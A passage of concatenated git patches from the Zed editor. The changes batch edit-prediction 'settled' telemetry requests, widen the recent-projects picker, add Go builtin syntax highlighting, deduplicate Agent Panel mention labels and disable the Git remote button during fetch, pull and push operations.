+    MAX_EDIT_PREDICTION_SETTLED_PER_REQUEST, OrganizationId, SettledEditPrediction,
+    SettledEditPredictionSampleData, SubmitEditPredictionFeedbackBody,
+    SubmitEditPredictionSettledBatchBody, SubmitEditPredictionSettledResponse,
 };
 use cloud_llm_client::predict_edits_v3::{
     PREDICT_EDITS_MODE_HEADER_NAME, PREDICT_EDITS_REQUEST_ID_HEADER_NAME,
@@ -83,7 +85,6 @@ mod prediction;
 
 pub mod udiff;
 
-mod capture_prediction_context;
 pub mod open_ai_compatible;
 mod zed_edit_prediction_delegate;
 pub mod zeta;
@@ -91,8 +92,8 @@ pub mod zeta;
 #[cfg(test)]
 mod edit_prediction_tests;
 
-use crate::capture_prediction_context::{CapturedPredictionContext, capture_prediction_context};
 use crate::cursor_excerpt::expand_context_syntactically_then_linewise;
+use crate::data_collection::{CapturedPredictionContext, capture_prediction_context};
 use crate::example_spec::RecentFile;
 use crate::license_detection::LicenseDetectionWatcher;
 use crate::mercury::Mercury;
@@ -130,8 +131,6 @@ const REQUEST_TIMEOUT_BACKOFF: Duration = Duration::from_secs(10);
 const EDIT_PREDICTION_SETTLED_TTL: Duration = Duration::from_secs(60 * 5);
 const EDIT_PREDICTION_SETTLED_QUIESCENCE: Duration = Duration::from_secs(10);
 const EDIT_PREDICTION_CAPTURE_MAX_FUTURE_EVENTS: usize = 4;
-/// The server rejects settled bodies larger than 64 KiB (compressed).
-const EDIT_PREDICTION_SETTLED_MAX_BODY_BYTES: usize = 63 * 1024;
 const EDIT_PREDICTION_SETTLED_MAX_EDITABLE_REGION_BYTES: usize = 4 * 1024;
 
 pub struct EditPredictionJumpsFeatureFlag;
@@ -2026,25 +2025,11 @@ impl EditPredictionStore {
                 }
             });
 
+            let mut ready_predictions_by_organization_id: HashMap<_, Vec<_>> = HashMap::default();
             for (pending_capture, settled_editable_region) in ready_predictions {
-                let PendingPredictionCapture {
-                    request_id,
-                    editable_region_before_prediction,
-                    predicted_editable_region,
-                    ts_error_count_before_prediction,
-                    ts_error_count_after_prediction,
-                    organization_id,
-                    can_collect_data,
-                    is_in_open_source_repo,
-                    sample_data,
-                    model_version,
-                    e2e_latency,
-                    ..
-                } = pending_capture;
-                let settled_editable_region_for_metrics = settled_editable_region.clone();
                 #[cfg(test)]
                 {
-                    let request_id = request_id.clone();
+                    let request_id = pending_capture.request_id.clone();
                     let settled_editable_region = settled_editable_region.clone();
                     this.update(cx, |this, _| {
                         if let Some(callback) = &this.settled_event_callback {
@@ -2052,111 +2037,28 @@ impl EditPredictionStore {
                         }
                     });
                 }
-                cx.background_spawn({
-                    let client = client.clone();
-                    let llm_token = llm_token.clone();
-                    let app_version = app_version.clone();
-                    async move {
-                        let kept_rate_result = compute_kept_rate(
-                            &editable_region_before_prediction,
-                            &predicted_editable_region,
-                            &settled_editable_region_for_metrics,
-                        );
-
-                        let result: anyhow::Result<()> = async {
-                            let sample_data = if can_collect_data
-                                && let Some(sample_data) = sample_data
-                                && let Ok(context) = sample_data.context_task.await
-                            {
-                                Some(SettledEditPredictionSampleData {
-                                    repository_url: context.repository_url,
-                                    revision: context.revision,
-                                    uncommitted_diff: context.uncommitted_diff,
-                                    editable_path: sample_data.editable_path,
-                                    editable_offset_range: sample_data.editable_offset_range,
-                                    buffer_diagnostics: context.buffer_diagnostics,
-                                    editable_context: context.editable_context,
-                                    future_edit_history_events: sample_data
-                                        .future_edit_history_events,
-                                    navigation_history: sample_data
-                                        .navigation_history
-                                        .into_iter()
-                                        .map(|file| EditPredictionRecentFile {
-                                            path: file.path,
-                                            cursor_position: file.cursor_position,
-                                        })
-                                        .collect(),
-                                    edit_events_before_quiescence: sample_data
-                                        .edit_events_before_quiescence,
-                                    next_edit_cursor_offset: sample_data.next_edit_cursor_offset,
-                                })
-                            } else {
-                                None
-                            };
-                            let settled_editable_region =
-                                can_collect_data.then_some(settled_editable_region);
-
-                            let mut body = SettledEditPrediction {
-                                request_id: request_id.0.to_string(),
-                                settled_editable_region,
-                                ts_error_count_before_prediction,
-                                ts_error_count_after_prediction,
-                                can_collect_data,
-                                is_in_open_source_repo,
-                                sample_data,
-                                kept_chars: EditPredictionSettledKeptChars {
-                                    candidate_new: kept_rate_result.candidate_new_chars,
-                                    reference_new: kept_rate_result.reference_new_chars,
-                                    candidate_deleted: kept_rate_result.candidate_deleted_chars,
-                                    reference_deleted: kept_rate_result.reference_deleted_chars,
-                                    kept: kept_rate_result.kept_chars,
-                                    correctly_deleted: kept_rate_result.correctly_deleted_chars,
-                                    discarded: kept_rate_result.discarded_chars,
-                                    context: kept_rate_result.context_chars,
-                                    kept_rate: kept_rate_result.kept_rate,
-                                    recall_rate: kept_rate_result.recall_rate,
-                                },
-                                example: None,
-                                model_version,
-                                e2e_latency_ms: e2e_latency.as_millis().min(u128::from(u64::MAX))
-                                    as u64,
-                            };
-
-                            let mut compressed =
-                                zstd::encode_all(&serde_json::to_vec(&body)?[..], 3)?;
-                            if compressed.len() > EDIT_PREDICTION_SETTLED_MAX_BODY_BYTES {
-                                body.sample_data = None;
-                                compressed = zstd::encode_all(&serde_json::to_vec(&body)?[..], 3)?;
-                            }
-
-                            let url = client
-                                .http_client()
-                                .build_zed_llm_url("/predict_edits/settled", &[])?;
-                            Self::send_api_request::<serde_json::Value>(
-                                |builder| {
-                                    Ok(builder
-                                        .uri(url.as_ref())
-                                        .header("Content-Encoding", "zstd")
-                                        .body(compressed.clone().into())?)
-                                },
-                                client,
-                                llm_token,
-                                organization_id,
-                                app_version,
-                            )
-                            .await?;
-                            Ok(())
-                        }
-                        .await;
-
-                        if let Err(error) = result {
-                            log::error!("failed to submit edit prediction settled: {error:?}");
-                        }
-                    }
-                })
-                .detach();
+                ready_predictions_by_organization_id
+                    .entry(pending_capture.organization_id.clone())
+                    .or_default()
+                    .push((pending_capture, settled_editable_region));
             }
 
+            cx.background_spawn({
+                let client = client.clone();
+                let llm_token = llm_token.clone();
+                let app_version = app_version.clone();
+                async move {
+                    send_settled_batches(
+                        client,
+                        llm_token,
+                        app_version,
+                        ready_predictions_by_organization_id,
+                    )
+                    .await;
+                }
+            })
+            .detach();
+
             next_wake_time = oldest_edited_at.map(|time| time + EDIT_PREDICTION_SETTLED_QUIESCENCE);
         }
     }
@@ -2416,6 +2318,137 @@ impl EditPredictionStore {
     pub const THROTTLE_TIMEOUT: Duration = Duration::from_millis(300);
 }
 
+async fn send_settled_batches(
+    client: Arc<Client>,
+    llm_token: LlmApiToken,
+    app_version: Version,
+    ready_predictions_by_organization_id: hash_map::HashMap<
+        Option<OrganizationId>,
+        Vec<(PendingPredictionCapture, String)>,
+        collections::FxBuildHasher,
+    >,
+) {
+    let Some(url) = client
+        .http_client()
+        .build_zed_llm_url("/predict_edits/settled", &[])
+        .context("failed to build edit predictions settled url")
+        .log_err()
+    else {
+        return;
+    };
+
+    for (organization_id, ready_predictions) in ready_predictions_by_organization_id {
+        let mut ready_predictions = ready_predictions.into_iter();
+        loop {
+            let done_batch = ready_predictions
+                .by_ref()
+                .take(MAX_EDIT_PREDICTION_SETTLED_PER_REQUEST);
+            let mut batch = Vec::with_capacity(MAX_EDIT_PREDICTION_SETTLED_PER_REQUEST);
+            for (pending_capture, settled_editable_region) in done_batch {
+                let PendingPredictionCapture {
+                    request_id,
+                    editable_region_before_prediction,
+                    predicted_editable_region,
+                    ts_error_count_before_prediction,
+                    ts_error_count_after_prediction,
+                    can_collect_data,
+                    is_in_open_source_repo,
+                    sample_data,
+                    model_version,
+                    e2e_latency,
+                    ..
+                } = pending_capture;
+                let kept_rate_result = compute_kept_rate(
+                    &editable_region_before_prediction,
+                    &predicted_editable_region,
+                    &settled_editable_region,
+                );
+
+                let sample_data = if can_collect_data
+                    && let Some(sample_data) = sample_data
+                    && let Ok(context) = sample_data.context_task.await
+                {
+                    Some(SettledEditPredictionSampleData {
+                        repository_url: context.repository_url,
+                        revision: context.revision,
+                        uncommitted_diff: context.uncommitted_diff,
+                        editable_path: sample_data.editable_path,
+                        editable_offset_range: sample_data.editable_offset_range,
+                        buffer_diagnostics: context.buffer_diagnostics,
+                        editable_context: context.editable_context,
+                        future_edit_history_events: sample_data.future_edit_history_events,
+                        navigation_history: sample_data
+                            .navigation_history
+                            .into_iter()
+                            .map(|file| EditPredictionRecentFile {
+                                path: file.path,
+                                cursor_position: file.cursor_position,
+                            })
+                            .collect(),
+                        edit_events_before_quiescence: sample_data.edit_events_before_quiescence,
+                        next_edit_cursor_offset: sample_data.next_edit_cursor_offset,
+                    })
+                } else {
+                    None
+                };
+
+                batch.push(SettledEditPrediction {
+                    request_id: request_id.0.to_string(),
+                    settled_editable_region: can_collect_data.then_some(settled_editable_region),
+                    ts_error_count_before_prediction,
+                    ts_error_count_after_prediction,
+                    can_collect_data,
+                    is_in_open_source_repo,
+                    sample_data,
+                    kept_chars: EditPredictionSettledKeptChars {
+                        candidate_new: kept_rate_result.candidate_new_chars,
+                        reference_new: kept_rate_result.reference_new_chars,
+                        candidate_deleted: kept_rate_result.candidate_deleted_chars,
+                        reference_deleted: kept_rate_result.reference_deleted_chars,
+                        kept: kept_rate_result.kept_chars,
+                        correctly_deleted: kept_rate_result.correctly_deleted_chars,
+                        discarded: kept_rate_result.discarded_chars,
+                        context: kept_rate_result.context_chars,
+                        kept_rate: kept_rate_result.kept_rate,
+                        recall_rate: kept_rate_result.recall_rate,
+                    },
+                    example: None,
+                    model_version,
+                    e2e_latency_ms: e2e_latency.as_millis().min(u128::from(u64::MAX)) as u64,
+                });
+            }
+
+            if batch.is_empty() {
+                break;
+            }
+
+            let result = async {
+                let body = SubmitEditPredictionSettledBatchBody { predictions: batch };
+                let compressed = zstd::encode_all(&serde_json::to_vec(&body)?[..], 3)?;
+                EditPredictionStore::send_api_request::<SubmitEditPredictionSettledResponse>(
+                    |builder| {
+                        Ok(builder
+                            .uri(url.as_ref())
+                            .header("Content-Encoding", "zstd")
+                            .body(compressed.clone().into())?)
+                    },
+                    client.clone(),
+                    llm_token.clone(),
+                    organization_id.clone(),
+                    app_version.clone(),
+                )
+                .await?;
+                anyhow::Ok(())
+            }
+            .await;
+
+            if let Err(error) = result {
+                log::error!("failed to submit edit predictions settled: {error:?}");
+            }
+        }
+    }
+}
+
 fn currently_following(project: &Entity<Project>, cx: &App) -> bool {
     let Some(app_state) = AppState::try_global(cx) else {
         return false;
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index 6c13139019855e..7e4ec8abef414f 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -4,7 +4,7 @@ use clock::ReplicaId;
 use cloud_api_types::{
     CreateLlmTokenResponse, LlmToken, Organization, OrganizationConfiguration,
     OrganizationEditPredictionConfiguration, OrganizationId, SettledEditPrediction,
-    SubmitEditPredictionSettledResponse,
+    SubmitEditPredictionSettledBatchBody, SubmitEditPredictionSettledResponse,
 };
 use cloud_llm_client::{
     EditPredictionRejectReason, EditPredictionRejection, PredictEditsRequestTrigger,
@@ -259,6 +259,68 @@ async fn test_simple_request(cx: &mut TestAppContext) {
     assert_eq!(prediction.edits[0].1.as_ref(), " are you?");
 }
 
+#[gpui::test]
+async fn test_zeta_request_sends_settled_body_when_data_collection_is_disabled(
+    cx: &mut TestAppContext,
+) {
+    let (ep_store, mut requests) = init_test_with_fake_client(cx);
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        "/root",
+        json!({
+            "foo.md":  "Hello!\nHow\nBye\n"
+        }),
+    )
+    .await;
+    let project = Project::test(fs, vec![path!("/root").as_ref()], cx).await;
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            let path = project.find_project_path(path!("root/foo.md"), cx).unwrap();
+            project.open_buffer(path, cx)
+        })
+        .await
+        .unwrap();
+    let snapshot = buffer.read_with(cx, |buffer, _cx| buffer.snapshot());
+    let position = snapshot.anchor_before(language::Point::new(1, 3));
+
+    ep_store.update(cx, |ep_store, cx| {
+        ep_store.register_buffer(&buffer, &project, cx);
+    });
+
+    let prediction_task = ep_store.update(cx, |ep_store, cx| {
+        ep_store.request_prediction(
+            &project,
+            &buffer,
+            position,
+            PredictEditsRequestTrigger::Other,
+            cx,
+        )
+    });
+
+    let (request, respond_tx) = requests.predict.next().await.unwrap();
+    assert!(!request.input.can_collect_data);
+    respond_tx
+        .send(model_response(&request, SIMPLE_DIFF))
+        .unwrap();
+
+    prediction_task.await.unwrap().unwrap();
+    cx.run_until_parked();
+    cx.executor()
+        .advance_clock(EDIT_PREDICTION_SETTLED_QUIESCENCE);
+    cx.run_until_parked();
+
+    let settled_request = requests
+        .settled
+        .next()
+        .now_or_never()
+        .flatten()
+        .expect("settled request should be sent");
+    assert!(!settled_request.can_collect_data);
+    assert_eq!(settled_request.settled_editable_region, None);
+    assert_eq!(settled_request.sample_data, None);
+}
+
 #[gpui::test]
 async fn test_request_events(cx: &mut TestAppContext) {
     let (ep_store, mut requests) = init_test_with_fake_client(cx);
@@ -1270,6 +1332,19 @@ async fn test_empty_prediction(cx: &mut TestAppContext) {
             e2e_latency_ms: Some(0),
         }]
     );
+    cx.executor()
+        .advance_clock(EDIT_PREDICTION_SETTLED_QUIESCENCE);
+    cx.run_until_parked();
+
+    let settled_request = requests
+        .settled
+        .next()
+        .now_or_never()
+        .flatten()
+        .expect("empty prediction should still send settled request");
+    assert_eq!(settled_request.request_id, id);
+    assert_eq!(settled_request.settled_editable_region, None);
+    assert_eq!(settled_request.sample_data, None);
 }
 
 #[gpui::test]
@@ -2533,8 +2608,11 @@ fn init_test_with_fake_client_and_legacy_data_collection(
                             } else {
                                 buf
                             };
-                            let req = serde_json::from_slice(&body).unwrap();
-                            settled_req_tx.unbounded_send(req).unwrap();
+                            let req: SubmitEditPredictionSettledBatchBody =
+                                serde_json::from_slice(&body).unwrap();
+                            for prediction in req.predictions {
+                                settled_req_tx.unbounded_send(prediction).unwrap();
+                            }
                             serde_json::to_string(&SubmitEditPredictionSettledResponse {}).unwrap()
                         }
                         _ => {
diff --git a/crates/edit_prediction/src/zeta.rs b/crates/edit_prediction/src/zeta.rs
index 8b388ef1809763..321ab27c027627 100644
--- a/crates/edit_prediction/src/zeta.rs
+++ b/crates/edit_prediction/src/zeta.rs
@@ -3,8 +3,8 @@ use crate::{
     EditPredictionId, EditPredictionModelInput, EditPredictionStartedDebugEvent,
     EditPredictionStore, PromptHistoryBoundary, ZedUpdateRequiredError,
     buffer_path_with_id_fallback,
-    capture_prediction_context::CapturedPredictionContext,
     cursor_excerpt::{self, compute_cursor_excerpt, compute_syntax_ranges},
+    data_collection::CapturedPredictionContext,
     prediction::EditPredictionResult,
 };
 use anyhow::Result;
@@ -404,36 +404,34 @@ pub(crate) fn request_prediction_with_zeta(
         )
         .await;
 
-        if can_collect_data {
-            let prediction = &result.prediction;
-            let weak_this = this.clone();
-            let request_id = prediction.id.clone();
-            let edited_buffer = edited_buffer.clone();
-            let edited_buffer_snapshot = edited_buffer_snapshot.clone();
-            let editable_range_in_buffer = editable_range_in_buffer.clone();
-            let edit_preview = prediction.edit_preview.clone();
-            let model_version = prediction.model_version.clone();
-            cx.spawn(async move |cx| {
-                weak_this
-                    .update(cx, |this, cx| {
-                        this.enqueue_settled_prediction(
-                            request_id.clone(),
-                            &project,
-                            &edited_buffer,
-                            &edited_buffer_snapshot,
-                            editable_range_in_buffer,
-                            &edit_preview,
-                            context_task,
-                            prompt_history_boundary,
-                            model_version,
-                            request_duration,
-                            cx,
-                        );
-                    })
-                    .ok();
-            })
-            .detach();
-        }
+        let prediction = &result.prediction;
+        let weak_this = this.clone();
+        let request_id = prediction.id.clone();
+        let edited_buffer = edited_buffer.clone();
+        let edited_buffer_snapshot = edited_buffer_snapshot.clone();
+        let editable_range_in_buffer = editable_range_in_buffer.clone();
+        let edit_preview = prediction.edit_preview.clone();
+        let model_version = prediction.model_version.clone();
+        cx.spawn(async move |cx| {
+            weak_this
+                .update(cx, |this, cx| {
+                    this.enqueue_settled_prediction(
+                        request_id.clone(),
+                        &project,
+                        &edited_buffer,
+                        &edited_buffer_snapshot,
+                        editable_range_in_buffer,
+                        &edit_preview,
+                        context_task,
+                        prompt_history_boundary,
+                        model_version,
+                        request_duration,
+                        cx,
+                    );
+                })
+                .ok();
+        })
+        .detach();
 
         Ok(Some(result))
     })

From 45a4d87eed828d88bfb46198715d7603ee76c608 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yara=20=F0=9F=8F=B3=EF=B8=8F=E2=80=8D=E2=9A=A7=EF=B8=8F?=
 <git@yara.blue>
Date: Thu, 25 Jun 2026 12:56:11 +0200
Subject: [PATCH 094/772] Fix recent projects footer overflowing (#59891)

The width of the recent projects picker was set too small. When
selecting an item that is already opened an additional action (remove
current window) appears that overflows. This sets the width such that
that no longer occurs.

fixes: #59847

Release Notes:

- N/A (bug on preview only)
---
 crates/recent_projects/src/recent_projects.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/recent_projects/src/recent_projects.rs b/crates/recent_projects/src/recent_projects.rs
index 78ddc6787f7a1c..781d85c874b8ef 100644
--- a/crates/recent_projects/src/recent_projects.rs
+++ b/crates/recent_projects/src/recent_projects.rs
@@ -705,7 +705,7 @@ impl RecentProjects {
                 ProjectPickerStyle::Modal,
             );
 
-            Self::new(delegate, fs, 34., window, cx)
+            Self::new(delegate, fs, 42., window, cx)
         })
     }
 

From ced0d857fd5ec5009e4caf7604db383896a1d5c4 Mon Sep 17 00:00:00 2001
From: sollniss <sollniss@web.de>
Date: Thu, 25 Jun 2026 20:03:44 +0900
Subject: [PATCH 095/772] go: Highlight predeclared types and built-in
 functions (#59780)

Tag Go's universe-scope identifiers as @type.builtin and
@function.builtin, matching Rust, TypeScript, and Python grammars (and
upstream tree-sitter-go / nvim-treesitter / Helix). Themes already style
these captures, so Go was the only major language not distinguishing
built-ins.

# Objective

Adds support for `@type.builtin` and `@function.builtin` targeted syntax
highlighting.

## Solution

Defined builtin functions and types in Go's highlights.scm.

## Testing

All screenshots are with `"semantic_tokens": "off"`. Built with
`--release` flag.

Before
<img width="591" height="619" alt="Screenshot_2026-06-24_03-15-56"
src="https://github.com/user-attachments/assets/996e48a0-4e46-45fa-a8fd-ff64820e58ac"
/>

<img width="591" height="619" alt="Screenshot_2026-06-24_03-15-11"
src="https://github.com/user-attachments/assets/b875c02b-80eb-4a4c-b9df-341ffd29ee5c"
/>

After

<img width="591" height="650" alt="Screenshot_2026-06-24_03-17-08"
src="https://github.com/user-attachments/assets/fca72a77-6359-4bb5-916e-a2e6e8b5c539"
/>

<img width="591" height="650" alt="Screenshot_2026-06-24_03-17-44"
src="https://github.com/user-attachments/assets/48a983ec-743c-4edc-abf3-915a759b2b23"
/>

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- go: Add support for highlighting builtin types and functions
---
 crates/grammars/src/go/highlights.scm | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/crates/grammars/src/go/highlights.scm b/crates/grammars/src/go/highlights.scm
index 670b4f05a961e3..aaec47bf5e898d 100644
--- a/crates/grammars/src/go/highlights.scm
+++ b/crates/grammars/src/go/highlights.scm
@@ -5,6 +5,12 @@
 (type_spec
   name: (type_identifier) @type.definition)
 
+((type_identifier) @type.builtin
+  (#any-of? @type.builtin
+    "any" "bool" "byte" "comparable" "complex64" "complex128" "error" "float32" "float64" "int"
+    "int8" "int16" "int32" "int64" "rune" "string" "uint" "uint8" "uint16" "uint32" "uint64"
+    "uintptr"))
+
 (field_identifier) @property
 
 (package_identifier) @namespace
@@ -23,6 +29,12 @@
   function: (selector_expression
     field: (field_identifier) @function.method.call))
 
+((call_expression
+  function: (identifier) @function.builtin)
+  (#any-of? @function.builtin
+    "append" "cap" "clear" "close" "complex" "copy" "delete" "imag" "len" "make" "max" "min" "new"
+    "panic" "print" "println" "real" "recover"))
+
 (function_declaration
   name: (identifier) @function)
 

From 6e085b2fdc0ac54b006ce300aef1a6fb3cfb2692 Mon Sep 17 00:00:00 2001
From: Yash Patodkar <97297944+ypatodkar@users.noreply.github.com>
Date: Thu, 25 Jun 2026 05:26:56 -0700
Subject: [PATCH 096/772] agent_ui: Show base name for duplicate file mentions
 in the Agent Panel (#59845)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Fixes #59654

When the same file was added as a mention more than once in the Agent
Panel,
the label would expand to the full absolute path instead of staying at
the
base filename.

Before

<img width="734" height="438" alt="Screenshot 2026-06-24 at 11 19 30 AM"
src="https://github.com/user-attachments/assets/94450eef-088a-49aa-97d3-80d6dd06925b"
/>

## Solution

The algorithm in `compute_disambiguation_details` treats two
entries with the same URI as a "collision" and tries to resolve it by
adding
more parent path components. Since the paths are identical it can never
succeed and keeps escalating to the full path.

Fix by deduplicating URIs via a `HashSet` before passing them to
`compute_disambiguation_details`, so identical mentions share a single
entry
and are never flagged as collisions.

## Testing

Reproduced by opening the Agent Panel, adding the same file as a mention
twice, and observing the label. Before: label showed the full absolute
path.
After: label stays at the base filename.

Tested on macOS.

After

<img width="638" height="215" alt="Screenshot 2026-06-24 at 11 20 09 AM"
src="https://github.com/user-attachments/assets/5acac2bd-d5a3-41c4-827c-84ccdc3a064d"
/>


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability

---

Release Notes:

- Fixed duplicate file mentions in the Agent Panel showing the full
absolute
  path instead of the base filename.

---------

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 crates/agent_ui/src/mention_set.rs | 61 ++++++++++++++++++++++++------
 1 file changed, 50 insertions(+), 11 deletions(-)

diff --git a/crates/agent_ui/src/mention_set.rs b/crates/agent_ui/src/mention_set.rs
index cf3bf02b78c170..506c68cc0801b3 100644
--- a/crates/agent_ui/src/mention_set.rs
+++ b/crates/agent_ui/src/mention_set.rs
@@ -697,23 +697,41 @@ impl MentionSet {
     }
 }
 
-/// Computes disambiguated labels for a set of mentions. When multiple mentions
-/// share the same base name, their labels include extra context (additional
-/// parent path components for files/directories, source for skills) so the user
-/// can tell them apart. Driven by [`util::disambiguate::compute_disambiguation_details`],
-/// which is the same utility used for buffer tab titles and the sidebar.
+/// Computes disambiguated labels for a set of mentions, so that mentions sharing
+/// a base name get extra context (parent path components, skill source) to tell
+/// them apart. Same approach as buffer tab titles and the sidebar.
 fn compute_disambiguated_labels<'a>(
     mentions: impl Iterator<Item = (CreaseId, &'a MentionUri)>,
 ) -> HashMap<CreaseId, SharedString> {
-    let mentions: Vec<_> = mentions.collect();
+    let (ids, uris): (Vec<CreaseId>, Vec<&MentionUri>) = mentions.unzip();
+    ids.into_iter()
+        .zip(disambiguated_labels_for_uris(&uris))
+        .collect()
+}
+
+/// Labels for each URI, in input order. Duplicate URIs are collapsed first, so a
+/// mention added twice keeps its base name instead of being escalated to its
+/// full path by the collision-resolution loop.
+fn disambiguated_labels_for_uris(uris: &[&MentionUri]) -> Vec<SharedString> {
+    let mut seen: HashSet<&MentionUri> = HashSet::default();
+    let unique_uris: Vec<&MentionUri> = uris
+        .iter()
+        .copied()
+        .filter(|&uri| seen.insert(uri))
+        .collect();
+
     let details =
-        util::disambiguate::compute_disambiguation_details(&mentions, |(_, uri), detail| {
+        util::disambiguate::compute_disambiguation_details(&unique_uris, |uri, detail| {
             uri.disambiguated_name(detail)
         });
-    mentions
-        .into_iter()
-        .zip(details)
-        .map(|((id, uri), detail)| (id, uri.disambiguated_name(detail).into()))
+
+    let uri_to_detail: HashMap<&MentionUri, usize> = unique_uris.into_iter().zip(details).collect();
+
+    uris.iter()
+        .map(|uri| {
+            let detail = uri_to_detail.get(uri).copied().unwrap_or(0);
+            uri.disambiguated_name(detail).into()
+        })
         .collect()
 }
 
@@ -824,6 +842,27 @@ mod tests {
         assert!(!is_raster_image_path(Path::new("/tmp/notes.txt")));
         assert!(!is_raster_image_path(Path::new("/tmp/README")));
     }
+
+    #[test]
+    fn test_disambiguated_labels_dedupe_identical_uris() {
+        // Mentioning the same file twice must not escalate the duplicates to
+        // their full path. Distinct files sharing a base name still disambiguate.
+        let foo_a = MentionUri::File {
+            abs_path: path!("/project/a/foo.rs").into(),
+        };
+
+        let foo_b = MentionUri::File {
+            abs_path: path!("/project/b/foo.rs").into(),
+        };
+
+        let uris = vec![&foo_a, &foo_a, &foo_b];
+        let labels = disambiguated_labels_for_uris(&uris);
+
+        assert_eq!(labels[0].as_ref(), "a/foo.rs");
+        assert_eq!(labels[2].as_ref(), "b/foo.rs");
+        // The duplicate keeps the same label rather than escalating to full path.
+        assert_eq!(labels[1].as_ref(), "a/foo.rs");
+    }
 }
 
 /// Inserts a list of images into the editor as context mentions.

From e7afe9fcf937ce15df0df76c62b97894a9c7bd22 Mon Sep 17 00:00:00 2001
From: Xiaobo Liu <cppcoffee@gmail.com>
Date: Thu, 25 Jun 2026 21:17:06 +0800
Subject: [PATCH 097/772] git_ui: Disable remote button during operations
 (#59874)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

This change prevents users from starting multiple Git remote operations
at the same time from the Git panel. Fetch, pull, and push can take
time, may prompt for credentials, and can update shared repository
state, so allowing repeated clicks can create duplicated work, confusing
UI feedback, or overlapping Git commands.


## Solution

The panel now records when a remote operation is in progress, disables
the main remote action button, and shows a clear tooltip such as “Push
in progress.” When the async task exits, the state is cleared and the
button is re-enabled. This keeps the UI aligned with the operation
lifecycle and makes repeated clicks harmless.

---

Release Notes:

- Git: Improved performance by not allowing multiple remote Git
operation to start at the same time.

---------

Signed-off-by: Xiaobo Liu <cppcoffee@gmail.com>
Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 crates/git_ui/src/git_panel.rs | 112 ++++++++++++++++++++++++++++++---
 crates/git_ui/src/git_ui.rs    |  78 +++++++++++++++++------
 2 files changed, 163 insertions(+), 27 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index b6e5b7e76341f1..de75268eb48bb9 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -91,6 +91,11 @@ use workspace::{
 };
 use zed_actions::{DecreaseBufferFontSize, IncreaseBufferFontSize, ResetBufferFontSize};
 
+const GIT_PANEL_KEY: &str = "GitPanel";
+const UPDATE_DEBOUNCE: Duration = Duration::from_millis(50);
+// TODO: We should revise this part. It seems the indentation width is not aligned with the one in project panel
+const TREE_INDENT: f32 = 16.0;
+
 actions!(
     git_panel,
     [
@@ -319,11 +324,14 @@ fn git_panel_view_options_menu(
     })
 }
 
-const GIT_PANEL_KEY: &str = "GitPanel";
-
-const UPDATE_DEBOUNCE: Duration = Duration::from_millis(50);
-// TODO: We should revise this part. It seems the indentation width is not aligned with the one in project panel
-const TREE_INDENT: f32 = 16.0;
+// We only allow a single remote operation at a time to avoid concurrent
+// credential prompts and competing ref/working-tree updates.
+#[derive(Clone, Copy)]
+pub(crate) enum RemoteOperationKind {
+    Fetch,
+    Pull,
+    Push,
+}
 
 pub fn register(workspace: &mut Workspace) {
     workspace.register_action(|workspace, _: &ToggleFocus, window, cx| {
@@ -749,6 +757,7 @@ pub struct GitPanel {
     diff_stat_total: DiffStat,
     new_staged_count: usize,
     pending_commit: Option<Task<()>>,
+    pending_remote_operation: Option<RemoteOperationKind>,
     amend_pending: bool,
     original_commit_message: Option<String>,
     signoff_enabled: bool,
@@ -977,6 +986,7 @@ impl GitPanel {
                 changes_count: 0,
                 diff_stat_total: DiffStat::default(),
                 pending_commit: None,
+                pending_remote_operation: None,
                 amend_pending: false,
                 original_commit_message: None,
                 signoff_enabled: false,
@@ -3106,6 +3116,10 @@ impl GitPanel {
         let Some(repo) = self.active_repository.clone() else {
             return;
         };
+        if !self.start_remote_operation(RemoteOperationKind::Fetch, cx) {
+            return;
+        }
+
         telemetry::event!("Git Fetched");
         let askpass = self.askpass_delegate("git fetch", window, cx);
         let this = cx.weak_entity();
@@ -3118,6 +3132,10 @@ impl GitPanel {
 
         window
             .spawn(cx, async move |cx| {
+                let _clear_pending_remote_operation = cx.on_drop(&this, |this, cx| {
+                    this.clear_remote_operation(cx);
+                });
+
                 let Some(fetch_options) = fetch_options.await else {
                     return Ok(());
                 };
@@ -3248,13 +3266,20 @@ impl GitPanel {
         let Some(repo) = self.active_repository.clone() else {
             return;
         };
-        let Some(branch) = repo.read(cx).branch.as_ref() else {
+        let Some(branch) = repo.read(cx).branch.clone() else {
             return;
         };
+        if !self.start_remote_operation(RemoteOperationKind::Pull, cx) {
+            return;
+        }
+
         telemetry::event!("Git Pulled");
-        let branch = branch.clone();
         let remote = self.get_remote(false, false, window, cx);
         cx.spawn_in(window, async move |this, cx| {
+            let _clear_pending_remote_operation = cx.on_drop(&this, |this, cx| {
+                this.clear_remote_operation(cx);
+            });
+
             let remote = match remote.await {
                 Ok(Some(remote)) => remote,
                 Ok(None) => {
@@ -3311,11 +3336,14 @@ impl GitPanel {
         let Some(repo) = self.active_repository.clone() else {
             return;
         };
-        let Some(branch) = repo.read(cx).branch.as_ref() else {
+        let Some(branch) = repo.read(cx).branch.clone() else {
             return;
         };
